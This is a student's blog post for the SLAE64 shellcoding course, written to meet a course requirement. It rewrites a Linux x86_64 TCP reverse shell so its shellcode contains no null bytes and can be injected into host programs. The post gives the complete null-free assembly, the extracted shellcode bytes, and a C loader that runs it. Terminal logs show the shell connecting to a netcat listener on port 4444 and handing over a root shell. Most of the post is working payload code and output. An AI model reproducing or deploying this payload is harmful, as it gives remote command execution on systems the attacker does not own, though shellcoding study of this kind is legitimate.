SLAE64 Assignment 2 - Remove Nulls TCP Reverse Shell

Overview
The second part of the second assignment of SLAE64 was to remove the nulls from the reverse-shell provided by Pentester Academy.
Compiling & Testing Original - With NASM & LD
The shellcode works great if it is compiled and ran as its own program. This means the shellcode logic is good.
Terminal 1
Start a netcat listener on port 4444 before executing the shellcode.
root# nc -nvlp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37596
id
uid=0(root) gid=0(root) groups=0(root)
Terminal 2
root# nasm -f elf64 RevShell.nasm -o RevShell.o
root# ld RevShell.o -o RevShell
root# vi RevShell.nasm
root# ./RevShell
Removing Nulls
To make this shellcode injectable into most host programs, we will need to remove the 0x00 aka Nulls.
To determine which assembly instructions are producing the nulls, we will use objdump on the object file.
Finding the Nulls with objdump
root# objdump -D RevShell.o -M intel
0: b8 29 00 00 00 mov eax,0x29
5: bf 02 00 00 00 mov edi,0x2
a: be 01 00 00 00 mov esi,0x1
f: ba 00 00 00 00 mov edx,0x0
14: 0f 05 syscall
16: 48 89 c7 mov rdi,rax
19: 48 31 c0 xor rax,rax
1c: 50 push rax
1d: c7 44 24 fc 7f 00 00 mov DWORD PTR [rsp-0x4],0x100007f
24: 01
25: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
2c: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
33: 48 83 ec 08 sub rsp,0x8
37: b8 2a 00 00 00 mov eax,0x2a
3c: 48 89 e6 mov rsi,rsp
3f: ba 10 00 00 00 mov edx,0x10
44: 0f 05 syscall
46: b8 21 00 00 00 mov eax,0x21
4b: be 00 00 00 00 mov esi,0x0
50: 0f 05 syscall
52: b8 21 00 00 00 mov eax,0x21
57: be 01 00 00 00 mov esi,0x1
5c: 0f 05 syscall
5e: b8 21 00 00 00 mov eax,0x21
63: be 02 00 00 00 mov esi,0x2
68: 0f 05 syscall
6a: 48 31 c0 xor rax,rax
6d: 50 push rax
6e: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
75: 2f 73 68
78: 53 push rbx
79: 48 89 e7 mov rdi,rsp
7c: 50 push rax
7d: 48 89 e2 mov rdx,rsp
80: 57 push rdi
81: 48 89 e6 mov rsi,rsp
84: 48 83 c0 3b add rax,0x3b
88: 0f 05 syscall
- After investigating the shellcode, we can see that the Nulls exist due to the mov instructions used.
Modified Null-Free Shellcode
global _start
_start:
jmp short makeSocket
clearRegz:
xor rsi, rsi
mul rsi
push rsi
pop rdi
ret
makeSocket:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41
call clearRegz
add rax, 41
add rdi, 2
add rsi, 1
add rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov r8, rax ; r8 = socket-fd
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
call clearRegz
push rax
push dword 0x0101017f
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx
push dx ; AF-INET
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
add rax, 42
mov rsi, rsp
push r8
pop rdi ; sock-fd
add dl, 0xe ; sizeof(sockaddr)
syscall
; duplicate sockets
; dup2 (new, old)
call clearRegz
mov rdi, r8 ; sock-fd
add rax, 33
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
Assemble the new shellcode
root# nasm -f elf64 mod-revshell.asm -o mod-revshell.o
root# for i in $(objdump -D mod-revshell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ''
Add the Modified Shellcode to the C Host Program
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\xeb\x09\x48\x31\xf6\x48\xf7\xe6\x56\x5f\xc3\xe8"
"\xf2\xff\xff\xff\x48\x83\xc0\x29\x48\xff\xc6\x48"
"\xff\xc7\x48\xff\xc7\x0f\x05\x49\x89\xc0\xe8\xdb"
"\xff\xff\xff\x50\x68\x7f\x01\x01\x01\x66\x68\x11"
"\x5c\x48\xff\xc2\x48\xff\xc2\x66\x52\x48\x83\xc0"
"\x2a\x48\x89\xe6\x41\x50\x5f\x80\xc2\x0e\x0f\x05"
"\xe8\xb5\xff\xff\xff\x4c\x89\xc7\x48\x83\xc0\x21"
"\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6"
"\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6"
"\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2"
"\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Terminal 1
root# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 40608
id
uid=0(root) gid=0(root) groups=0(root)
Terminal 2
root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# ./shellcode
Shellcode Length: 142
- Awesome! Our Null-Free modified reverse shell works!!
SLAE64 Blog Proof
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913